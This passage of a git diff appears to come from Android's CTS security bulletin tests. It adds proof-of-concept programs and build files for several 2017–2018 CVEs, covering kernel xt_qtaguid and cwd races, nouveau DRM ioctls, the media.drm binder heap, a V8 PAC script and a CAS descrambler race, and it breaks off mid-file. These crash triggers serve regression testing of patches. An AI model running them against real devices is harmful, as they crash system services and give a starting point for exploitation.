+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <sys/mman.h>
+
+typedef struct {
+    uint32_t width;
+    uint32_t height;
+    uint32_t format;
+    const unsigned char* pixels;
+} gdx2d_pixmap;
+
+gdx2d_pixmap *(*gdx2d_load)(const unsigned char *buffer, uint32_t len);
+void          (*gdx2d_free)(const gdx2d_pixmap* pixmap);
+
+int main() {
+  void *libgdx = dlopen("libgdx.so", RTLD_LAZY);
+  if(libgdx == NULL) {
+    return -1;
+  }
+  gdx2d_load = dlsym(libgdx, "gdx2d_load");
+  gdx2d_free = dlsym(libgdx, "gdx2d_free");
+  if(gdx2d_load == NULL || gdx2d_free == NULL){
+    dlclose(libgdx);
+    return -2;
+  }
+
+  char *fname = "/data/local/tmp/CVE-2017-0477.gif";
+  int fd = open(fname, O_RDONLY);
+  struct stat st;
+  fstat(fd, &st);
+  void *ptr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+
+  gdx2d_pixmap *pixmap = gdx2d_load((unsigned char *) ptr, st.st_size);
+  if (pixmap) {
+    gdx2d_free(pixmap);
+  }
+  dlclose(libgdx);
+  return 0;
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
new file mode 100644
index 0000000..1cb7357
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-13273
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
new file mode 100644
index 0000000..0856392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
@@ -0,0 +1,136 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAX_THREAD 6
+
+int ctrl_fd;
+static int cmd;
+static int status[MAX_THREAD];
+static int sock_fd;
+
+void *thread_entry(void *arg) {
+  int index, len = 256, ret;
+  char buf[256];
+  index = (int)(unsigned long)arg;
+  memset(buf, 0x0, 256);
+  status[index] = 1;
+
+  // cmd =-1 signifies error in thread creation
+  while (cmd != 1 && cmd != -1) {
+    usleep(5);
+  }
+
+  if (cmd != -1) {
+    switch (index % 3) {
+      case 0:
+        len = sprintf(buf, "d %lu", (unsigned long)0);
+        break;
+      case 2:
+        len = sprintf(buf, "t %d", sock_fd);
+        break;
+    }
+
+    ret = write(ctrl_fd, buf, len);
+  }
+
+  status[index] = 2;
+  return NULL;
+}
+/*
+ *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
+ *which causes null pointer derefrences in netstat.
+ */
+int main() {
+  int fd, retry = 1024;
+  int ret, i, loop;
+  pthread_t tid[MAX_THREAD];
+
+  fork();
+  sock_fd = socket(AF_INET, SOCK_STREAM, 0);
+  while (retry--) {
+    cmd = 0;
+    for (i = 0; i < MAX_THREAD; i++) {
+      status[i] = 0;
+    }
+
+    fd = open("/dev/xt_qtaguid", O_RDONLY);
+    if (fd < 0) {
+      return -1;
+    }
+
+    ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
+    if (ctrl_fd < 0) {
+      return -1;
+    }
+
+    for (i = 0; i < MAX_THREAD; i++) {
+      ret =
+          pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
+      if (ret != 0) {
+        cmd = -1;
+        close(ctrl_fd);
+      }
+    }
+
+    loop = 1;
+    int count = 0;
+    // loop until all threads have status == 1
+    while (loop) {
+      loop = 0;
+      count = count + 1;
+      for (i = 0; i < MAX_THREAD; i++)
+        if (status[i] != 1) {
+          loop = 1;
+          break;
+        }
+
+      if (loop) {
+        usleep(5);
+      }
+    }
+
+    cmd = 1;
+    loop = 1;
+    while (loop) {
+      loop = 0;
+      count = count + 1;
+      for (i = 0; i < MAX_THREAD; i++)
+        if (status[i] != 2) {
+          loop = 1;
+          break;
+        }
+
+      if (loop) {
+        usleep(5);
+      }
+    }
+    close(fd);
+  }
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
index b4697d5..64ecb5c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/Android.mk
@@ -10,7 +10,7 @@
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
-# limitations under the License.
+# limitations under the License
 
 LOCAL_PATH := $(call my-dir)
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
index 1637bd6..5bdd33d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-6262/poc.c
@@ -10,26 +10,25 @@
  * Unless required by applicable law or agreed to in writing, software
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions vand
+ * See the License for the specific language governing permissions and
  * limitations under the License.
  */
 #define _GNU_SOURCE
-#include "local_poc.h"
 #include <fcntl.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys/ioctl.h>
 #include <sys/prctl.h>
-#include <sys/stat.h>
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <unistd.h>
+#include "local_poc.h"
+#include "../includes/common.h"
 #define DRMDEV_NAME "/dev/dri/renderD128"
+#define MAX_MAPS 10
 
-static int drm_version(int fd)
-{
-  int ret;
+static int drm_version(int fd) {
   struct drm_version ver;
   ver.name_len = 100;
   ver.date_len = 100;
@@ -39,17 +38,14 @@
   ver.date = (char*)malloc(ver.date_len);
   ver.desc = (char*)malloc(ver.desc_len);
 
-  ret = ioctl(fd, DRM_IOCTL_VERSION, &ver);
-
-  if (ret == -1) {
-    return -1;
+  if (ioctl(fd, DRM_IOCTL_VERSION, &ver) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
   return 0;
 }
 
-static int nouveau_gem_ioctl_new(int fd)
-{
-  int ret;
+static uint32_t nouveau_gem_ioctl_new(int fd) {
   struct drm_nouveau_gem_new new_arg;
 
   memset(&new_arg, 0, sizeof(new_arg));
@@ -57,66 +53,43 @@
   new_arg.info.size = 0x1000;
   new_arg.info.domain = NOUVEAU_GEM_DOMAIN_GART;
 
-  ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg);
-  if (ret == -1) {
-    return -1;
+  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_NEW, &new_arg) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
-
   return new_arg.info.handle;
 }
 
-static uint32_t get_gem_map_handle(int fd)
-{
-  uint32_t handle;
-
-  handle = nouveau_gem_ioctl_new(fd);
-
-  return handle;
-}
-
-static void nouveau_gem_ioctl_map(int fd, uint32_t handle)
-{
-  int ret;
+static void nouveau_gem_ioctl_map(int fd, uint32_t handle) {
   struct drm_nouveau_gem_map map_arg;
   memset(&map_arg, 0, sizeof(map_arg));
   map_arg.handle = handle;
   map_arg.length = 0x1000;
 
-  ret = ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg);
-  if (ret == -1) {
-    return;
+  if (ioctl(fd, DRM_IOCTL_NOUVEAU_GEM_MAP, &map_arg) < 0) {
+    close(fd);
+    exit(EXIT_FAILURE);
   }
 }
 
-void poc()
-{
+int main() {
   int fd;
-  const int MAX_MAPS = 10;
+  time_t test_started = start_timer();
 
-  fd = open(DRMDEV_NAME, O_RDWR);
-  if (fd == -1) {
-    return;
+  while (timer_active(test_started)) {
+    fd = open(DRMDEV_NAME, O_RDWR);
+    if (fd < 0) {
+      return -1;
+    }
+
+    drm_version(fd);
+
+    uint32_t handle = nouveau_gem_ioctl_new(fd);
+
+    for (int i = 0; i < MAX_MAPS; i++) {
+      nouveau_gem_ioctl_map(fd, handle);
+    }
+    close(fd);
   }
-
-  if (drm_version(fd) == -1){
-    return;
-  }
-
-  uint32_t handle = get_gem_map_handle(fd);
-
-  for(int i = 0; i < MAX_MAPS; i++){
-    nouveau_gem_ioctl_map(fd, handle);
-  }
-  close(fd);
-
-  return;
-}
-
-int main()
-{
-  const int MAX_RUNS = 30000;
-
-  for(int i = 0; i < MAX_RUNS; i++) {
-    poc();
-  }
+  return 0;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
new file mode 100644
index 0000000..0615108
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
@@ -0,0 +1,38 @@
+#
+#copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9424
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+                          libutils \
+                          libcutils
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+LOCAL_CPPFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
new file mode 100644
index 0000000..88dfad6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
@@ -0,0 +1,149 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <binder/IMemory.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/Parcel.h>
+#include <cutils/ashmem.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
+#define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
+#define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
+#define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)
+
+class MyMemoryHeap : public virtual BnMemoryHeap {
+public:
+  MyMemoryHeap(int fd) { mFd = fd; }
+  int getHeapID() const { return mFd; }
+  void *getBase() const { return NULL; }
+  size_t getSize() const { return 4096 * 4096; }
+  uint32_t getFlags() const { return 0; }
+  uint32_t getOffset() const { return 0; }
+
+private:
+  mutable int mFd;
+};
+
+sp<IBinder> crypto_binder;
+
+void make_crypto() {
+
+  sp<IServiceManager> sm = defaultServiceManager();
+  sp<IBinder> drm_binder = sm->getService(String16("media.drm"));
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
+
+  drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);
+
+  crypto_binder = reply.readStrongBinder();
+}
+
+void create_plugin() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+
+  uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+                      0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+  data.write(uuid, 16);
+
+  data.writeInt32(0);
+
+  crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
+}
+
+int set_heap() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+  int fd = ashmem_create_region("ele7enxxh", 4096);
+  sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
+  data.writeStrongBinder(IInterface::asBinder(heap));
+
+  crypto_binder->transact(SET_HEAP, data, &reply, 0);
+
+  return reply.readInt32();
+}
+
+void decrypt() {
+
+  Parcel data, reply;
+
+  data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+  data.writeInt32(0);
+  data.writeInt32(0);
+  data.writeInt32(0);
+
+  uint8_t key[16];
+  memset(key, 0, 16);
+  data.write(key, 16);
+  uint8_t iv[16];
+  memset(iv, 0, 16);
+  data.write(iv, 16);
+
+  // totalsize
+  data.writeInt32(4096 * 4);
+
+  sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
+  sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
+  data.writeStrongBinder(IInterface::asBinder(mem));
+
+  // source.mHeapSeqNum
+  data.writeInt32(0);
+
+  // offset
+  data.writeInt32(0);
+
+  // numSubSamples
+  data.writeInt32(1);
+
+  // numBytesOfClearData
+  data.writeInt32(4096 * 4);
+
+  // numBytesOfEncryptedData
+  data.writeInt32(0);
+
+  // destination.mType
+  data.writeInt32(0);
+
+  // destination.mSharedMemory
+  data.writeStrongBinder(IInterface::asBinder(mem));
+
+  crypto_binder->transact(DECRYPT, data, &reply, 0);
+}
+
+int main() {
+
+  make_crypto();
+
+  create_plugin();
+
+  set_heap();
+
+  decrypt();
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
new file mode 100644
index 0000000..a6a520f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9490
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+        libpac \
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
new file mode 100644
index 0000000..c6d332a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9490/poc.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <memory>
+#include <proxy_resolver_v8_wrapper.h>
+
+#define URL u""
+#define HOST u""
+#define SCRIPT \
+    u"function FindProxyForURL(url, host){\n" \
+    "    alert(\"enter\");\n" \
+    "    let arr = [];\n" \
+    "    arr[1000] = 0x1234;\n" \
+    "\n" \
+    "    arr.__defineGetter__(256, function () {\n" \
+    "            delete arr[256];\n" \
+    "            arr.unshift(1.1);\n" \
+    "            arr.length = 0;\n" \
+    "            });\n" \
+    "\n" \
+    "    Object.entries(arr).toString();\n" \
+    "    alert(JSON.stringify(entries));\n" \
+    "\n" \
+    "    return 0;\n" \
+    "}\n"
+
+int main(void) {
+  auto resolver = std::unique_ptr<ProxyResolverV8Handle, void(*)(ProxyResolverV8Handle*)>(
+          ProxyResolverV8Handle_new(), ProxyResolverV8Handle_delete);
+  ProxyResolverV8Handle_SetPacScript(resolver.get(), SCRIPT);
+  auto results = std::unique_ptr<char16_t, decltype(&free)>(ProxyResolverV8Handle_GetProxyForURL(
+          resolver.get(), URL, HOST), &free);
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
new file mode 100644
index 0000000..3c8d79c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9515
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
new file mode 100644
index 0000000..a89d596
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
@@ -0,0 +1,75 @@
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <err.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include "../includes/common.h"
+
+pid_t looper_pid;
+
+void *uaf_worker(__attribute__ ((unused)) void *unused) {
+  char cwd_path[100];
+  sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    char symlink_target[1000];
+    int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
+    if (len > 0) {
+      symlink_target[len] = 0;
+    }
+  }
+
+  return NULL;
+}
+
+void *chaos_worker(__attribute__ ((unused)) void *unused) {
+  if (chdir("/sdcard/Android/data/CVE-2018-9515"))
+      err(1, "chdir");
+  rmdir("subdir");
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    if (mkdir("subdir", 0777))
+      err(1, "mkdir");
+    if (chdir("subdir"))
+      err(1, "chdir");
+    if (rmdir("../subdir"))
+      err(1, "rmdir");
+    if (chdir(".."))
+      err(1, "chdir");
+  }
+
+  return NULL;
+}
+
+int main(void) {
+  looper_pid = syscall(__NR_gettid);
+
+  pthread_t thread;
+  if (pthread_create(&thread, NULL, uaf_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  pthread_t thread2;
+  if (pthread_create(&thread2, NULL, chaos_worker, NULL))
+    errx(1, "pthread_create failed");
+
+  char my_dir_name[100];
+  sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
+  rmdir(my_dir_name);
+
+  time_t timer = start_timer();
+  while (timer_active(timer)) {
+    if (mkdir(my_dir_name, 0777))
+      err(1, "looper: mkdir");
+    if (rmdir(my_dir_name))
+      err(1, "looper: rmdir");
+  }
+
+  return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
new file mode 100644
index 0000000..2be9f4a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9539
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_SHARED_LIBRARIES := \
+    libutils \
+    liblog \
+    android.hardware.cas@1.0 \
+    android.hardware.cas.native@1.0 \
+    libhidlbase \
+    libhidltransport \
+    libhwbinder \
+    libbinder \
+    libcutils \
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
new file mode 100644
index 0000000..5f9bd37
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9539/poc.cpp
@@ -0,0 +1,179 @@
+#include <android/hardware/cas/1.0/ICas.h>
+#include <android/hardware/cas/1.0/IMediaCasService.h>
+#include <android/hardware/cas/native/1.0/IDescrambler.h>
+#include <binder/MemoryHeapBase.h>
+#include <utils/StrongPointer.h>
+
+#include <stdio.h>
+
+#include "../includes/common.h"
+
+using ::android::MemoryHeapBase;
+using ::android::sp;
+using ::android::hardware::hidl_handle;
+using ::android::hardware::hidl_memory;
+using ::android::hardware::hidl_string;
+using ::android::hardware::hidl_vec;
+using ::android::hardware::Return;
+using namespace android::hardware::cas::V1_0;
+using namespace android::hardware::cas::native::V1_0;
+
+#define CLEARKEY_SYSTEMID (0xF6D8)
+
+#define THREADS_NUM (5)
+
+typedef enum {
+  RESULT_CRASH,
+  RESULT_SESSION1,
+  RESULT_SESSION2,
+} thread_result_t;
+
+// Taken from cts/tests/tests/media/src/android/media/cts/MediaCasTest.java
+static const char *provision_str =
+    "{                                                   "
+    "  \"id\": 21140844,                                 "
+    "  \"name\": \"Test Title\",                         "
+    "  \"lowercase_organization_name\": \"Android\",     "
+    "  \"asset_key\": {                                  "
+    "  \"encryption_key\": \"nezAr3CHFrmBR9R8Tedotw==\"  "
+    "  },                                                "
+    "  \"cas_type\": 1,                                  "
+    "  \"track_types\": [ ]                              "
+    "}                                                   ";
+static const uint8_t ecm_buffer[] = {
+    0x00, 0x00, 0x01, 0xf0, 0x00, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
+    0x01, 0x00, 0x46, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77, 0x01,
+    0x42, 0x95, 0x6c, 0x0e, 0xe3, 0x91, 0xbc, 0xfd, 0x05, 0xb1, 0x60,
+    0x4f, 0x17, 0x82, 0xa4, 0x86, 0x9b, 0x23, 0x56, 0x00, 0x01, 0x00,
+    0x00, 0x00, 0x01, 0x00, 0x00, 0x27, 0x10, 0x02, 0x00, 0x01, 0x77,
+    0x01, 0x42, 0x95, 0x6c, 0xd7, 0x43, 0x62, 0xf8, 0x1c, 0x62, 0x19,
+    0x05, 0xc7, 0x3a, 0x42, 0xcd, 0xfd, 0xd9, 0x13, 0x48,
+};
+
+static sp<IDescrambler> descrambler;
+static pthread_barrier_t barrier;
+
+static void *thread_func(void *) {
+  // Prepare everything needed for an encrypted run of descramble
+
+  sp<MemoryHeapBase> heap = new MemoryHeapBase(0x1000);
+
+  native_handle_t *handle = native_handle_create(1, 0);
+  handle->data[0] = heap->getHeapID();
+
+  SharedBuffer src;
+  src.offset = 0;
+  src.size = 0x1000;
+  src.heapBase = hidl_memory("ashmem", hidl_handle(handle), heap->getSize());
+
+  DestinationBuffer dst;
+  dst.type = BufferType::SHARED_MEMORY;
+  dst.nonsecureMemory = src;
+
+  hidl_vec<SubSample> subsamples;
+  SubSample subsample_arr[0x100] = {
+      {.numBytesOfClearData = 0, .numBytesOfEncryptedData = 0x10}};
+  subsamples.setToExternal(subsample_arr, 0x100);
+
+  Status descramble_status;
+
+  // Wait for all other threads
+  pthread_barrier_wait(&barrier);
+
+  // Run descramble
+  Return<void> descramble_result = descrambler->descramble(
+      ScramblingControl::EVENKEY, subsamples, src, 0, dst, 0,
+      [&](Status status, uint32_t, const hidl_string &) {
+        descramble_status = status;
+      });
+
+  // Cleanup
+  native_handle_delete(handle);
+
+  if (!descramble_result.isOk()) {
+    // Service crashed, hurray!
+    return (void *)RESULT_CRASH;
+  }
+
+  // If descramble was successful then the session had a valid key, so it was
+  // session1. Otherwise it was session2.
+  return (void *)(descramble_status == Status::OK ? RESULT_SESSION1
+                                                  : RESULT_SESSION2);
+}
+
+int main() {
+  // Prepare cas & descrambler objects
+
+  sp<IMediaCasService> service = IMediaCasService::getService();
+  FAIL_CHECK(service != NULL);
+
